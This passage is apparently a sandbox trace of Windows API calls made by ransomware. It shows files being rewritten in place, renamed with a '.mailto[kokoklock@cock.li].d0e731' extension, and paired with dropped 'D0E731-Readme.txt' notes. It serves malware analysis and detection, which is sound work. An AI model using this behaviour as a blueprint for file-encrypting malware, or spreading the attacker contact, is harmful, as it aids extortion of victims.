Seed=0x26f3fdcc) returned 0x69b1ed5f [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x391aa0b7 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x42cfca4c [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0xcf3fdf65 [0082.356] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x3ef5b3a3 [0082.357] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x38f82f72 [0082.357] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x5b294ea1 [0082.357] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0xc7f9b9aa [0082.357] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0x49031ee8 [0082.357] RtlRandom (in: Seed=0x26f3fdcc | out: Seed=0x26f3fdcc) returned 0xd8097614 [0082.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0082.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.367] ReadFile (in: hFile=0x528, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x26f3fdc0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x26f3fdc0*=0x504, lpOverlapped=0x0) returned 1 [0082.367] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26f3fd88 | out: lpNewFilePointer=0x0) returned 1 [0082.367] WriteFile (in: hFile=0x528, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x504, lpNumberOfBytesWritten=0x26f3fdbc, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x26f3fdbc*=0x504, lpOverlapped=0x0) returned 1 [0082.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0082.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0082.368] WriteFile (in: hFile=0x528, lpBuffer=0x342cab0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26f3fdb8, lpOverlapped=0x0 | out: lpBuffer=0x342cab0*, lpNumberOfBytesWritten=0x26f3fdb8*=0x20, lpOverlapped=0x0) returned 1 [0082.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0082.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.368] WriteFile (in: hFile=0x528, lpBuffer=0x342ca88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26f3fde4, lpOverlapped=0x0 | out: lpBuffer=0x342ca88*, lpNumberOfBytesWritten=0x26f3fde4*=0x8, lpOverlapped=0x0) returned 1 [0082.368] WriteFile (in: hFile=0x528, lpBuffer=0x26f3fdfc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26f3fde4, lpOverlapped=0x0 | out: lpBuffer=0x26f3fdfc*, lpNumberOfBytesWritten=0x26f3fde4*=0x4, lpOverlapped=0x0) returned 1 [0082.368] WriteFile (in: hFile=0x528, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26f3fde4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x26f3fde4*=0x4, lpOverlapped=0x0) returned 1 [0082.368] WriteFile (in: hFile=0x528, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26f3fde4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x26f3fde4*=0x6c, lpOverlapped=0x0) returned 1 [0082.368] WriteFile (in: hFile=0x528, lpBuffer=0x342ca60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26f3fde4, lpOverlapped=0x0 | out: lpBuffer=0x342ca60*, lpNumberOfBytesWritten=0x26f3fde4*=0x20, lpOverlapped=0x0) returned 1 [0082.368] WriteFile (in: hFile=0x528, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26f3fde4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x26f3fde4*=0x4, lpOverlapped=0x0) returned 1 [0082.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0082.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0082.369] CloseHandle (hObject=0x528) returned 1 [0082.369] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x342a268 [0082.369] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" [0082.369] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0082.369] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.370] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.370] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0082.370] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0082.370] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0082.370] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\" [0082.370] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\D0E731-Readme.txt" [0082.370] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\d0e731-readme.txt")) returned 0xffffffff [0082.370] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0082.372] WriteFile (in: hFile=0x528, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x26f3fde0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x26f3fde0*=0x481, lpOverlapped=0x0) returned 1 [0082.373] CloseHandle (hObject=0x528) returned 1 [0082.374] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0082.374] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34352b8) returned 1 [0082.374] RtlExitUserThread (Status=0x1) Thread: id = 1093 os_tid = 0x10c8 [0082.375] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml")) returned 0x20 [0082.375] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0082.375] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0082.375] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x26fbff10 | out: lpFileSize=0x26fbff10*=271) returned 1 [0082.375] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.375] ReadFile (in: hFile=0x528, lpBuffer=0x26fbfee4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26fbfee0, lpOverlapped=0x0 | out: lpBuffer=0x26fbfee4*, lpNumberOfBytesRead=0x26fbfee0*=0x4, lpOverlapped=0x0) returned 1 [0082.379] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.379] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.379] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0082.379] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb78 [0082.379] NtQuerySystemTime (in: CurrentTime=0x26fbfebc | out: CurrentTime=0x26fbfebc*=132121176402716047) returned 0x0 [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x82184884 [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x720dc88f [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0xf75ea974 [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x5ec9c0a1 [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x442bd7b1 [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0xe671614f [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0xa0d01eb0 [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x2ee17c7f [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x64cde0cd [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0xc911e13a [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0xb67cf518 [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0xe85b84f9 [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x7adeb2cb [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x2a5ef9ab [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x5f80f99b [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x4c712545 [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x9c70343b [0082.379] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x6ea4230f [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x80f09e25 [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x3fe3e26 [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x64ad4bcf [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x2bb6f087 [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0xbaca0de7 [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x88e37306 [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0xd1f45e58 [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x2b7b2948 [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0xc88329eb [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x26818755 [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0xbe8a397c [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x54852e09 [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x31f3cf08 [0082.380] RtlRandom (in: Seed=0x26fbfec8 | out: Seed=0x26fbfec8) returned 0x3f63c8c5 [0082.393] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.393] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.393] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.393] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0082.393] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.393] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.393] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.393] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.393] ReadFile (in: hFile=0x528, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x26fbfebc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x26fbfebc*=0x10f, lpOverlapped=0x0) returned 1 [0082.394] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26fbfe84 | out: lpNewFilePointer=0x0) returned 1 [0082.394] WriteFile (in: hFile=0x528, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x26fbfeb8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x26fbfeb8*=0x10f, lpOverlapped=0x0) returned 1 [0082.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0082.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0082.394] WriteFile (in: hFile=0x528, lpBuffer=0x342cab0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26fbfeb4, lpOverlapped=0x0 | out: lpBuffer=0x342cab0*, lpNumberOfBytesWritten=0x26fbfeb4*=0x20, lpOverlapped=0x0) returned 1 [0082.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0082.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.394] WriteFile (in: hFile=0x528, lpBuffer=0x342ca88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26fbfee0, lpOverlapped=0x0 | out: lpBuffer=0x342ca88*, lpNumberOfBytesWritten=0x26fbfee0*=0x8, lpOverlapped=0x0) returned 1 [0082.394] WriteFile (in: hFile=0x528, lpBuffer=0x26fbfef8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26fbfee0, lpOverlapped=0x0 | out: lpBuffer=0x26fbfef8*, lpNumberOfBytesWritten=0x26fbfee0*=0x4, lpOverlapped=0x0) returned 1 [0082.394] WriteFile (in: hFile=0x528, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26fbfee0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x26fbfee0*=0x4, lpOverlapped=0x0) returned 1 [0082.395] WriteFile (in: hFile=0x528, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26fbfee0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x26fbfee0*=0x6c, lpOverlapped=0x0) returned 1 [0082.395] WriteFile (in: hFile=0x528, lpBuffer=0x342ca60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26fbfee0, lpOverlapped=0x0 | out: lpBuffer=0x342ca60*, lpNumberOfBytesWritten=0x26fbfee0*=0x20, lpOverlapped=0x0) returned 1 [0082.395] WriteFile (in: hFile=0x528, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26fbfee0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x26fbfee0*=0x4, lpOverlapped=0x0) returned 1 [0082.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0082.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0082.395] CloseHandle (hObject=0x528) returned 1 [0082.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a268 [0082.395] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" [0082.395] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0082.395] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.396] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0082.396] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0082.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0082.397] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\" [0082.397] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\D0E731-Readme.txt" [0082.397] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\d0e731-readme.txt")) returned 0x20 [0082.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0082.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475938) returned 1 [0082.397] RtlExitUserThread (Status=0x1) Thread: id = 1094 os_tid = 0x10d0 [0082.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3428360 [0082.404] wcscpy (in: _Dest=0x3428360, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" [0082.404] wcscat (in: _Dest=0x3428360, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\" [0082.404] wcscat (in: _Dest=0x3428360, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*" [0082.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ab478 [0082.404] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*", lpFindFileData=0x34ab478 | out: lpFindFileData=0x34ab478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dfc98 [0082.405] wcscmp (_String1=".", _String2=".") returned 0 [0082.405] FindNextFileW (in: hFindFile=0x33dfc98, lpFindFileData=0x34ab478 | out: lpFindFileData=0x34ab478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.405] wcscmp (_String1="..", _String2=".") returned 1 [0082.405] wcscmp (_String1="..", _String2="..") returned 0 [0082.405] FindNextFileW (in: hFindFile=0x33dfc98, lpFindFileData=0x34ab478 | out: lpFindFileData=0x34ab478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0082.405] wcscmp (_String1="RunTime", _String2=".") returned 1 [0082.405] wcscmp (_String1="RunTime", _String2="..") returned 1 [0082.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3487350 [0082.405] wcscpy (in: _Dest=0x3487350, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" [0082.405] wcscat (in: _Dest=0x3487350, _Source="\\" | out: 